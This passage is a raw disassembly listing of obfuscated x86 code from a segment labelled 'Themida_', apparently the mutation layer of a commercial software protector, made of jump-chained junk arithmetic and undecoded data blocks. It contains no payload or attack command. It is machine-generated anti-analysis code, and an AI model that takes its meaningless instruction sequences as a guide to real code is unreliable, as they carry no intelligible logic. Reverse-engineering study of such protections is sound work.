		and	ebx, 345B4C3Ch
		push	ebp
		jmp	loc_5203A7
; ---------------------------------------------------------------------------


loc_512554:				; CODE XREF: Themida_:00516157j
		mov	edx, 57BF390Fh
		jmp	loc_51015C
; ---------------------------------------------------------------------------


loc_51255E:				; CODE XREF: Themida_:0051CA2Dj
		pop	esp
		push	66C5h
		jmp	loc_5210F7
; ---------------------------------------------------------------------------
		db 5Ah,	0E9h, 0FDh
		dd 53FFFFC4h, 1BBh, 5BD92900h, 16C18149h, 0E91ED813h, 0C447h
; ---------------------------------------------------------------------------


loc_512584:				; CODE XREF: Themida_:00510EB7j
		mov	ecx, 28A16DE6h
		jmp	loc_513277
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 951DE9h, 240C8B00h, 4C481h, 0C310000h, 240C3324h, 0E9240C31h
		dd 0FFFF9039h, 34BB6653h, 658AE933h, 0EB800000h, 32E568E1h
		dd 4890000h, 0C0DFB424h, 0EC8004E4h, 14EC8048h,	2858E328h
		dd 94C380C3h, 7DD968h, 24148900h, 0D300E1B2h, 0CD7EE95Ah
		dd 895EFFFFh, 0CE295BD9h, 81240C8Bh, 4C4h, 62C78100h, 5345141Fh
		dd 0B8248DBBh, 3382E941h, 0FF510000h, 59042474h, 26FFE9h
		dd 1DEA6800h, 1C890000h, 4EC8324h, 68240C89h, 34FEh, 20ECE9h
		dd 2434FF00h, 33F6859h,	4DE90000h, 81FFFFB4h, 4C4h, 5EF32100h
		dd 5EFA68h, 24048900h, 0CABB5351h, 0E930E754h, 0FFFFF6EFh
		dd 8B2434FFh, 0C4812404h, 4, 0FFB23AE9h, 52B850FFh, 0E90D4A0Ch
		dd 0D877h, 0EC8143B7h, 2, 240C8966h, 0E9FC8850h, 0D663h
		dd 43A1F381h, 0E95E7312h, 6FE6h, 0E99C5166h, 0FFFF8F4Dh
		dd 0D587D2F7h, 0FFA5A5E9h, 0C8B66FFh, 4EC8124h,	89000000h
		dd 0FF542434h, 348B2434h, 0F426E924h, 990DFFFFh, 5031A920h
		dd 0E92414F7h, 0FFFFA866h, 1826E95Fh, 0DFBD0000h, 295EC122h
		dd 0DF295DEFh, 22DFC781h, 57535EC1h, 0E874E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5126E6:				; CODE XREF: Themida_:0050F2F2j
		xor	esi, [esp]
		pop	esp
		jmp	loc_51629E
; ---------------------------------------------------------------------------


loc_5126EF:				; CODE XREF: Themida_:00515FD8j
		shl	ebx, 4
		add	ebx, 32EA4693h
		shr	ebx, 2
		dec	ebx
		xor	ebx, 5DCC3C47h
		sub	ebx, 65A55E97h
		push	ebx
		pop	edx
		pop	ebx
		add	edi, edx
		pop	edx
		sub	edi, 0A5C3A460h
		mov	eax, edi
		pop	edi
		jmp	loc_518F25
; ---------------------------------------------------------------------------
		dd 0E9F3315Dh, 4C7Ah
; ---------------------------------------------------------------------------


loc_512724:				; CODE XREF: Themida_:0050B64Bj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_516093
; ---------------------------------------------------------------------------
aIcsu		db '',0
		dw 6800h
		dd 43B7h, 0C6A2E9h, 0F9E95A00h,	83000014h, 0BA5204C4h
		dd 6B8D2ED3h, 0FFBAF281h, 0D5019758h, 0FFEB015Ah, 815D2434h
		dd 4C4h, 7AFC6800h, 1C890000h, 2474FF24h, 241C8B04h, 81E78957h
		dd 4C7h, 4C78100h, 87000000h, 8F5C243Ch, 248B2404h, 2434FF24h
		dd 0E92434FFh, 82EDh, 241C8B5Dh, 5204C483h, 0FF9B5CE9h
		dd 81DA01FFh, 0C00B0DEAh, 0CF89E932h, 15C0000h,	0EC8159C8h
		dd 4, 0B9240C89h, 4B30120h, 0D0BD5553h,	896EA814h, 0D9215DEBh
		dd 83241C8Bh, 0E1C104C4h, 89C98104h, 81702359h,	4E67AEE9h
		dd 8BC80151h, 0E952240Ch, 9482h
; ---------------------------------------------------------------------------


loc_512804:				; CODE XREF: Themida_:0050F46Aj
		pop	edx
		not	edi
		push	eax
		mov	eax, 22A02D37h
		add	edi, eax
		jmp	loc_51DDB1
; ---------------------------------------------------------------------------


loc_512814:				; CODE XREF: Themida_:00516CBFj
		shr	ebp, 1
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 24CC8990h
		jmp	loc_50E8E9
; ---------------------------------------------------------------------------
		db 58h,	83h, 0ECh
		dd 8FFAE904h, 0D7F7FFFFh, 63E9FE87h, 68000019h,	2838h
		dd 68242C89h, 6D7B1244h, 8BEB215Dh, 0C6E9242Ch
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_512853:				; CODE XREF: Themida_:0050BE1Dj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_50B5E5
; ---------------------------------------------------------------------------
		db 29h,	0F7h, 52h
		dd 86EBE9h
		db 0
; ---------------------------------------------------------------------------


loc_51286D:				; CODE XREF: Themida_:0050B9ADj
		xchg	esi, [esp]
		jmp	loc_5137AD
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 13h
		dd 0E9253E6Ch, 0FFFFA927h
; ---------------------------------------------------------------------------


loc_512880:				; CODE XREF: Themida_:0051ED3Ej
		mov	[esp], edx
		mov	edx, 6F46038Eh
		jmp	loc_5206D7
; ---------------------------------------------------------------------------


loc_51288D:				; CODE XREF: Themida_:0051B4ADj
		shr	ebx, 6
		add	ebx, 2BE275ACh
		sub	esi, ebx
		pop	ebx
		mov	edx, esi
		jmp	loc_5184EA
; ---------------------------------------------------------------------------


loc_5128A0:				; CODE XREF: Themida_:0051B524j
		push	ebx
		mov	ebx, 7A927282h
		jmp	loc_50DB95
; ---------------------------------------------------------------------------
		db 29h
		dd 0EC835DEAh, 24148904h, 42474FFh, 10C6E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5128BE:				; CODE XREF: Themida_:0051A3EAj
		push	edi
		jmp	loc_50C52C
; ---------------------------------------------------------------------------
aSga		db ']a',0
		align 2
		dw 0E3C1h
		dd 1C38104h, 0D1000000h, 5E3C1E3h, 0FF93ACE9h, 2DB0B8FFh
		dd 0BE92B4Ch
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5128E7:				; CODE XREF: Themida_:0051C53Aj
		mov	[esp], edx
		mov	edx, 17564F1Eh
		neg	edx
		shr	edx, 7
		xor	edx, 6E9750EFh
		sub	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_514361
; ---------------------------------------------------------------------------
		db 68h,	0C6h, 1
		dd 3C890000h, 5C446824h, 24890000h, 17E95324h
		db 0D8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_51291B:				; CODE XREF: Themida_:0050E23Dj
		sub	ebx, 0A62BBBD8h
		jmp	loc_5200EE
; ---------------------------------------------------------------------------


loc_512926:				; CODE XREF: Themida_:0050BB9Aj
		and	edi, 68F97A46h
		sub	edi, 48615A02h
		add	ebp, edi
		jmp	loc_51FCA7
; ---------------------------------------------------------------------------


loc_512939:				; CODE XREF: Themida_:0050F1FFj
		mov	ecx, 24740477h
		or	ebx, ecx
		jmp	loc_51E871
; ---------------------------------------------------------------------------
		db 4Bh,	81h, 0C3h
		dd 0FE400208h, 565BDE01h, 0FFCA3BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512955:				; CODE XREF: Themida_:0050D9EAj
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_50E7D0
; ---------------------------------------------------------------------------


loc_512960:				; CODE XREF: Themida_:00519335j
		push	5C0Ah
		mov	[esp], ebx
		mov	ebx, 1FB448A6h
		sub	ebx, 933170Fh
		add	ebx, 5876272Bh
		jmp	loc_51C51D
; ---------------------------------------------------------------------------
		dw 3431h
		dd 0D95EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512986:				; CODE XREF: Themida_:00517D75j
		mov	ch, 0DDh
		push	ebx
		mov	bl, 8Ah
		jmp	loc_515B3E
; ---------------------------------------------------------------------------
		dd 0FC81C181h, 0C801F74Fh, 3B685D59h, 8900002Eh, 0E589242Ch
		dd 4C581h, 0ED830000h, 242C8704h, 90BBE9h, 8C78000h, 55A7C780h
		dd 0DC89E9h
		db 0
; ---------------------------------------------------------------------------


loc_5129C1:				; CODE XREF: Themida_:0051D958j
		sub	esi, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	esi, 573859BDh
		pop	edi
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_514EF8
; ---------------------------------------------------------------------------
		dd 0E924348Bh, 0FFFFA90Fh, 240C8B66h, 66C56856h, 8F540000h
		dd 4812404h, 424h, 0B2C3E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_512A0A:				; CODE XREF: Themida_:0051644Cj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_510DE7
; ---------------------------------------------------------------------------
		dd 0EBC1D3F7h, 1FEB8107h, 21B14C38h, 1F88E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_512A32:				; CODE XREF: Themida_:005137BAj
		push	dword ptr [esp]
		jmp	loc_51D220
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0E9B2045Bh, 0FFFFA91Bh, 83243C8Bh, 0D76804C4h, 0E900007Fh
		dd 0FFFFF8AAh, 81240C8Bh, 4C4h,	0BCC58100h, 2968C001h
		dd 0BCBA52FDh, 2968C001h, 685F5AD5h, 0
		dd 7F24B850h, 44015F35h, 29580424h, 2C81242Ch, 357F2424h
		dd 0E5C15D5Fh, 0DFAFE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_512A96:				; CODE XREF: Themida_:0051B980j
		shl	ebp, 8
		sub	ebp, 0FFFFFFFFh
		and	ebp, 486A1072h
		push	ebx
		mov	ebx, 0F2C24DAFh
		add	ebp, ebx
		pop	ebx
		push	ebp
		push	eax
		mov	eax, 67410E8Ah
		jmp	loc_510E15
; ---------------------------------------------------------------------------


loc_512AB7:				; CODE XREF: Themida_:005168A6j
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	esi
		push	esp
		jmp	loc_50D668
; ---------------------------------------------------------------------------
		dw 0E956h
		dd 1285h
; ---------------------------------------------------------------------------


loc_512AD0:				; CODE XREF: Themida_:0050DD00j
		xor	edx, [esp]
		jmp	loc_520E2B
; ---------------------------------------------------------------------------
		dd 0D1F7CA87h, 1487CA87h, 0FAAFE924h, 815EFFFFh, 8A7FF9EFh
		dd 24348B03h, 4C481h, 3C330000h, 243C3124h, 0C7CBE9h, 0CBA5200h
		dd 684DB821h, 887h, 0BD242C89h,	0FFFFFFFFh, 0E95DEA29h
		dd 0FFFFE04Dh
; ---------------------------------------------------------------------------


loc_512B1C:				; CODE XREF: Themida_:00520B39j
		add	ebp, esi
		push	edi
		mov	edi, 2E2A7AE0h
		jmp	loc_5110BB
; ---------------------------------------------------------------------------
		db 1, 0F5h, 81h
		dd 1D5B31EDh, 2434FF42h, 4C4815Eh, 52000000h, 4BAh, 5AD50100h
		dd 4EC81h, 2C890000h, 2474FF24h, 242C8B04h, 81E78957h
		dd 4C7h, 4C78300h, 31243C33h, 3C33243Ch, 24248B24h, 8B24048Fh
		dd 4092424h, 6AE99C24h,	4DFFFF8Ah, 8EBED81h, 0EA891EA7h
		dd 0C2C2815Dh, 0E93C7400h, 0FFFFB051h, 5D2434FFh, 5504C483h
		dd 0D1F1E95Ah, 58540000h, 405h,	40500h,	4870000h, 24248B24h
		dd 4C7CE952h, 8B660000h, 0EC81240Ch, 4,	8D5FE9h, 66F72000h
		dd 0FFC7805Ah, 0E905EFC0h, 0C50Eh, 515968h, 24148900h
		dd 2E99C50h, 56FFFF8Ah,	4223AEBEh, 79E6816Fh, 0D1261849h
		dd 0F7B951EEh, 29051955h, 0D14659CEh, 0DC3FE9EEh, 0E6890000h
		dd 4C681h, 0BA520000h, 2, 739AC681h, 0D6016AD9h, 739AEE81h
		dd 34FF6AD9h, 54535A24h, 77CF685Bh, 14890000h, 6FA3E924h
		dd 0FD010000h, 6EC5815Fh, 5F7C5455h, 4EC81h, 0D4E90000h
		dd 520000D6h, 5CE95DB6h, 50000010h, 81E38953h, 4C3h, 0CBB8E900h
		dd 3C33FFFFh, 0BE95C24h, 5300003Ch, 0E1E9E389h,	0C10000AFh
		dd 0F18104E1h, 0B2222004h, 8359CF01h, 2C8904ECh, 0B967E924h
		dd 0C5810000h, 6AD0D2C8h, 525DEB01h, 0FE7952BAh, 5AD30127h
		dd 0F64FE951h, 3C8BFFFFh, 0E6895624h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 4EB81h, 5CE90000h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512CBF:				; CODE XREF: Themida_:005196E4j
		push	1A6Eh
		mov	[esp], ecx
		mov	ecx, 1
		jmp	loc_510280
; ---------------------------------------------------------------------------


loc_512CD1:				; CODE XREF: Themida_:005207EEj
		push	edi
		push	174371BAh
		pop	edi
		dec	edi
		add	edi, 3F8F1A14h
		dec	edi
		and	edi, 4B6757B4h
		xor	edi, 5D1A0CEEh
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_50E79C
; ---------------------------------------------------------------------------
		dd 0F1E9555Fh, 56000000h, 0BF575E54h, 4, 0D8E9FE01h
		db 71h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_512D13:				; CODE XREF: Themida_:00517E04j
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_517CF2
; ---------------------------------------------------------------------------


loc_512D1E:				; CODE XREF: Themida_:00511905j
		push	ebp
		jmp	loc_513D0C
; ---------------------------------------------------------------------------
		dd 2BEh, 0E9F18900h, 0FFFF8F6Ch, 8102E3C1h, 6E0387F3h
		dd 3BF38179h, 0F746EB74h, 30EB81D3h, 2927CF4Ch,	89055BD8h
		dd 5A321D61h, 3304E883h, 4312404h, 24043324h, 3493E95Ch
		dd 0F6810000h, 55322EBFh, 4E08E6C1h, 0A9B4F681h, 0F70148E5h
		dd 0E19DE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512D7A:				; CODE XREF: Themida_:0051B404j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	5E2C2981h
		pop	esi
		jmp	loc_5176D8
; ---------------------------------------------------------------------------


loc_512D91:				; CODE XREF: Themida_:0051C77Ej
		pop	ecx
		add	al, 0DBh
		pop	ebx
		push	bx
		mov	bl, 24h
		sub	al, 59h
		add	al, bl
		add	al, 59h
		pop	bx
		sub	al, 63h
		sub	al, bl
		add	al, 63h
		sub	al, 24h
		push	56AAh
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 48h
		mov	dh, ch
		pop	ecx
		xor	dh, 41h
		push	bx
		mov	bl, 97h
		add	al, bl
		pop	bx
		push	ebx
		jmp	loc_5142BE
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 0FE010000h, 2174BB53h, 0DBF77DF5h, 8563E9h
		dd 1C8B5F00h, 4C48324h,	0E9241433h, 1DA3h, 42474FFh, 5454E95Dh
		dd 1C890000h, 81E38924h, 4C3h, 4EB8300h, 5C241C87h, 0FFA387E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_512E15:				; CODE XREF: Themida_:0050F21Bj
		add	edx, 1731E503h
		push	edx
		mov	edx, 6EA571AAh
		add	ebx, edx
		pop	edx
		jmp	loc_51BC65
; ---------------------------------------------------------------------------
		db 0BFh, 0A2h, 0Ch
		dd 0C7831992h, 5EFC101h, 0FFD418E9h, 24248BFFh,	24048B66h
		dd 4311E9h, 0C3C58100h,	451EC811h, 51BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_512E51:				; CODE XREF: Themida_:0051BB97j
		mov	eax, [esp]
		add	esp, 4
		add	edi, 53490DE7h
		jmp	loc_514ABF
; ---------------------------------------------------------------------------


loc_512E65:				; CODE XREF: Themida_:00517CF3j
		sub	ebx, 0FFFFFFFFh
		push	dword ptr [edi+24h]
		push	edx
		push	esp
		jmp	loc_50EFB1
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 0EB1B661Dh, 7E57B705h, 2DE82903h, 37E57B7h, 0CF8CE95Dh
		dd 0C3810000h, 4, 4C381h, 1C870000h, 14E95C24h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_512E9F:				; CODE XREF: Themida_:00515CB8j
		mov	[esp], esi
		mov	esi, 2CE06F46h
		not	esi
		jmp	loc_513868
; ---------------------------------------------------------------------------


loc_512EAE:				; CODE XREF: Themida_:0050E7EFj
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_51FF34
; ---------------------------------------------------------------------------
		dd 0E94077FFh, 0FFFFEB4Ch, 7C81AD35h, 8BC789B2h, 0C4812404h
		dd 4, 4221EF81h, 0B850743Fh, 29B270F0h,	0E5A5C505h, 58C73144h
		dd 0FFC67AE9h, 8CE951FFh, 81FFFF95h, 639E25C7h,	5FFA8958h
		dd 0E904EAC1h, 0A5F9h
; ---------------------------------------------------------------------------


loc_512F00:				; CODE XREF: Themida_:0050B814j
		add	edi, 0FFFFFFFFh
		shr	edi, 7
		xor	edi, 15D229E7h
		sub	edi, 7E9B39F7h
		sub	edi, 898CD115h
		jmp	loc_51729B
; ---------------------------------------------------------------------------


loc_512F1D:				; CODE XREF: Themida_:0051A352j
		xchg	esi, [esp]
		jmp	loc_51733C
; ---------------------------------------------------------------------------


loc_512F25:				; CODE XREF: Themida_:0051C2F1j
		shl	eax, 3
		sub	eax, 53AE4034h
		jmp	loc_50C951
; ---------------------------------------------------------------------------
		dw 48Bh
aSk		db '$<',0
		align 2
		dw 0C389h
		dd 59CB2958h, 8246C81h,	3F601471h, 8245C29h, 8244481h
		dd 3F601471h, 245C015Bh, 0E8BB5304h, 10B6315h, 8B08245Ch
		dd 0D8E9241Ch
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_512F6B:				; CODE XREF: Themida_:0051A8BCj
		mov	edi, 40001A08h
		jmp	loc_520380
; ---------------------------------------------------------------------------


loc_512F75:				; CODE XREF: Themida_:0050B72Bj
		add	edi, 15F91B7Ah
		pop	ecx
		push	eax
		mov	eax, 8FD64855h
		jmp	loc_50B650
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0CB8103E3h, 53C90880h, 8107EBC1h, 0F46718C3h, 9127E94Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_512F9E:				; CODE XREF: Themida_:005112A6j
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_50EE68
; ---------------------------------------------------------------------------


loc_512FA9:				; CODE XREF: Themida_:0051911Fj
		sub	esi, ecx
		jmp	loc_50D4C0
; ---------------------------------------------------------------------------
		dd 0EC81E289h, 4, 0BB241C89h, 4, 4A46E9h, 2434FF00h, 81240C8Bh
		dd 4C4h, 0ECDDE900h, 0C581FFFFh, 0EEEB17AFh, 0F82A352Dh
		dd 5E8011Fh, 1FF82A35h,	0D97E95Dh, 14890000h, 0ACB85024h
		dd 0F7102A21h, 0F0D48D8h, 53D4179h, 2A00A5h, 0FFC9C0E9h
		dd 0F1ED81FFh, 0F742AF16h, 72ED81D5h, 89B3B83Fh, 54D2E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51301E:				; CODE XREF: Themida_:0050E3DDj
		mov	[esp], edi
		jmp	loc_516CC4
; ---------------------------------------------------------------------------


loc_513026:				; CODE XREF: Themida_:005203F4j
		mov	edi, 630267A1h
		add	ebp, edi
		jmp	loc_5170A4
; ---------------------------------------------------------------------------


loc_513032:				; CODE XREF: Themida_:00510157j
		xor	edi, esi
		pop	esi
		add	edi, 10835BEBh
		add	eax, edi
		pop	edi
		jmp	loc_520CE9
; ---------------------------------------------------------------------------


loc_513043:				; CODE XREF: Themida_:0050F8AEj
		add	esp, 4
		and	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_515F66
		push	50A6h
		mov	[esp], ebp
		mov	ebp, ebx
		jmp	loc_50E5DB
; ---------------------------------------------------------------------------


loc_51306B:				; CODE XREF: Themida_:00514FEBj
		shl	ebx, 1
		xor	ebx, 29446104h
		push	esi
		mov	esi, 662013ECh
		xor	ebx, esi
		jmp	loc_51EEE5
; ---------------------------------------------------------------------------
		dd 0E932FF64h, 0FFFF855Dh
; ---------------------------------------------------------------------------


loc_513088:				; CODE XREF: Themida_:00514D50j
		sub	ebp, 1A520CE9h
		push	edx
		mov	edx, 5C2747CEh
		sub	ebp, edx
		jmp	loc_50F5EA
; ---------------------------------------------------------------------------
		db 1
		dd 0FF5559CDh, 0FF042474h, 815D2434h, 4C4h, 7B55E900h
		dd 34FF0000h, 8F685824h, 89000008h, 0E389241Ch,	64F26852h
		dd 24890000h, 24048124h, 4, 4C2815Ah, 81000000h, 4EAh
		dd 24148700h, 0FFAD66E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5130E5:				; CODE XREF: Themida_:00519378j
		mov	edi, 71FB45ACh
		jmp	loc_5140BC
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF84F1h, 16E9D987h
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5130FB:				; CODE XREF: Themida_:00514ADAj
		push	ebp
		push	6CB2h
		mov	[esp], esi
		mov	esi, 0FCC853D4h
		mov	ebp, esi
		jmp	loc_51CDE1
; ---------------------------------------------------------------------------


loc_513110:				; CODE XREF: Themida_:0050B890j
		pop	ebp
		push	ebx
		mov	ebx, 2237423Ch
		sub	edx, ebx
		pop	ebx
		add	edx, esi
		jmp	loc_510030
; ---------------------------------------------------------------------------


loc_513121:				; CODE XREF: Themida_:0051F390j
		push	esi
		jmp	loc_52076C
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FFC256E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_51312D:				; CODE XREF: Themida_:0050D6AFj
		add	[esp+4], edx
		jmp	loc_51D35C
; ---------------------------------------------------------------------------


loc_513136:				; CODE XREF: Themida_:00516037j
		mov	esi, 6FA930C4h
		add	esi, 3D202298h
		xor	esi, 2C6E0BF8h
		jmp	loc_510354
; ---------------------------------------------------------------------------
		dd 5303E3C1h, 5B2414F7h, 37CBE9h, 24048100h, 4,	4C3815Bh
		dd 81000000h, 4C3h, 74FF5300h, 8F5B0424h, 8CE92404h, 81FFFFA7h
		dd 4C1h, 4C18300h, 8B240C87h, 8CE92424h, 5C000049h, 4EC81h
		dd 2C890000h, 0AC72E924h, 66AC0000h, 0B6C3E951h, 0C4830000h
		dd 0E3895304h, 0FFEC50E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5131B1:				; CODE XREF: Themida_:00519620j
		push	esi
		mov	esi, 4
		jmp	loc_520B33
; ---------------------------------------------------------------------------
		dd 83243C8Bh, 82E904C4h, 81FFFFD7h, 0BD09A8C2h,	0E763E9BBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5131D2:				; CODE XREF: Themida_:00516F15j
		shl	ch, 6
		push	bx
		mov	bl, 1
		sub	ch, bl
		pop	bx
		jmp	loc_5178AB
; ---------------------------------------------------------------------------
		dw 0EB80h
		dd 52C32884h, 1591E9h
		db 0
; ---------------------------------------------------------------------------


loc_5131ED:				; CODE XREF: Themida_:00520463j
		push	28D137D1h
		pop	ebx
		neg	ebx
		dec	ebx
		add	ebx, 65E99D10h
		jmp	loc_511EDA
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0F9h
		dd 314FAEE9h, 0FA295BDFh, 83243C8Bh, 0B3E904C4h, 660000C5h
		dd 0C6E932FFh
		db 83h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_51321F:				; CODE XREF: Themida_:0051CDECj
		mov	ebx, [esp]
		add	esp, 4
		and	eax, edi
		mov	edi, [esp]
		push	ebp
		jmp	loc_50F8EF
; ---------------------------------------------------------------------------


loc_513230:				; CODE XREF: Themida_:0050D465j
		pop	ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	eax, 78EB2FAFh
		push	ebp
		push	ecx
		mov	ecx, 3F3B433Eh
		inc	ecx
		shl	ecx, 1
		jmp	loc_519A7B
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 4, 25BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_513265:				; CODE XREF: Themida_:0051EB1Aj
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		imul	cl
		movzx	cx, ah
		jmp	loc_51D797
; ---------------------------------------------------------------------------


loc_513277:				; CODE XREF: Themida_:00512589j
		shl	ecx, 5
		push	7BC0h
		mov	[esp], ecx
		neg	dword ptr [esp]
		pop	ecx
		jmp	loc_51C0A8
; ---------------------------------------------------------------------------


loc_51328B:				; CODE XREF: Themida_:005186E7j
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_50C8C4
; ---------------------------------------------------------------------------
aZ4Sgc		db '4$gC',0
		align 2
		dw 8149h
		dd 853F49F1h, 45F1817Fh, 217AB677h, 0EC8159CFh,	4, 0F7243C89h
		dd 815F2414h, 0AF056BE7h, 9BBB5328h, 1DF58FAh, 0FB895BDFh
		dd 81243C8Bh, 4C4h, 8BDA0100h, 0C483241Ch, 0AEC2E904h
		dd 1C8BFFFFh, 4C48124h,	89000000h, 345EE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5132F6:				; CODE XREF: Themida_:005104B9j
		push	0FDB441Fh
		jmp	loc_516626
; ---------------------------------------------------------------------------


loc_513300:				; CODE XREF: Themida_:00519B01j
		inc	ecx
		jmp	loc_510CC6
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8105E7C1h, 0D35344C7h, 89EE81C7h,	1628B16h, 89C681FEh
		dd 8B628B16h, 0C483243Ch, 7B7FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_51332E:				; CODE XREF: Themida_:0050E3ABj
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_51FBC6
; ---------------------------------------------------------------------------


loc_513345:				; CODE XREF: Themida_:0051044Dj
		pop	esi
		push	ebp
		jmp	loc_512439
; ---------------------------------------------------------------------------
		dd 0FF8294E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_513351:				; CODE XREF: Themida_:0050FEDAj
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		jmp	loc_518467
; ---------------------------------------------------------------------------


loc_513364:				; CODE XREF: Themida_:005153C8j
		mov	ebp, 82F898D8h
		add	ebp, edi
		jmp	loc_51C627
; ---------------------------------------------------------------------------


loc_513370:				; CODE XREF: Themida_:00514582j
		push	edx
		mov	edx, 68063603h
		add	eax, edx
		pop	edx
		add	eax, ebp
		push	edx
		mov	edx, 63B1396h
		sub	edx, 35514E06h
		shl	edx, 4
		neg	edx
		or	edx, 7BE20930h
		dec	edx
		jmp	loc_519AF2
; ---------------------------------------------------------------------------
		dd 68240C8Bh, 270Ah, 54243489h,	5BB9515Eh, 8109FF0Dh, 313323E9h
		dd 0CE65E95Fh, 49BBFFFFh, 0E940F716h, 64B3h, 66E98166h
		dd 0E1C16641h, 0DB9DE902h, 34FFFFFFh, 0BD6AE924h, 0E9580000h
		dd 5EAh, 4EC815Eh, 89000000h, 97E92404h, 3300003Ch, 1C31241Ch
		dd 241C3324h, 8124248Bh, 2590242Ch, 2C8173E8h, 6E1E2724h
		dd 242C8144h, 3CB822E4h, 52240401h, 0B822E4BAh,	2A75E93Ch
		dd 8B660000h
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_51A192
; ---------------------------------------------------------------------------
a_zsf		db '_ZF',0
		dd 0CB215D00h, 5131E959h, 34870000h, 24248B24h,	645168h
		dd 242C8900h, 4068E9h
		db 0
; ---------------------------------------------------------------------------


loc_513449:				; CODE XREF: Themida_:005173EBj
		xchg	edi, [esp]
		mov	esp, [esp]
		xor	esi, 96899A1Bh
		xor	eax, esi
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_518420
; ---------------------------------------------------------------------------
		dw 0C14Eh
		dd 0FF6808EEh, 89000023h, 0E0E92414h, 5C000012h, 52DAE9h
		dd 2474FF00h, 8BE95F04h, 55FFFFD8h, 0E955D589h,	0FFFFC13Ch
; ---------------------------------------------------------------------------


loc_51348C:				; CODE XREF: Themida_:0051D14Dj
		add	edi, 4
		jmp	loc_518EA8
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0EBE92404h, 2DFFFFB7h, 66506DA7h, 0E958C701h, 9432h
; ---------------------------------------------------------------------------


loc_5134AC:				; CODE XREF: Themida_:0050B79Dj
		mov	edx, 4
		add	ebx, edx
		jmp	loc_511873
; ---------------------------------------------------------------------------
		dd 40E9C2FEh
		db 0DCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5134BF:				; CODE XREF: Themida_:00517739j
		add	edx, 7CB44C90h
		xor	edx, 620D4267h
		or	edx, 1A4E5D92h
		jmp	loc_520D4C
; ---------------------------------------------------------------------------
		dw 0E5C0h
		dd 0FFED8004h, 0F18EE953h, 248BFFFFh, 0C8B6624h, 8B545024h
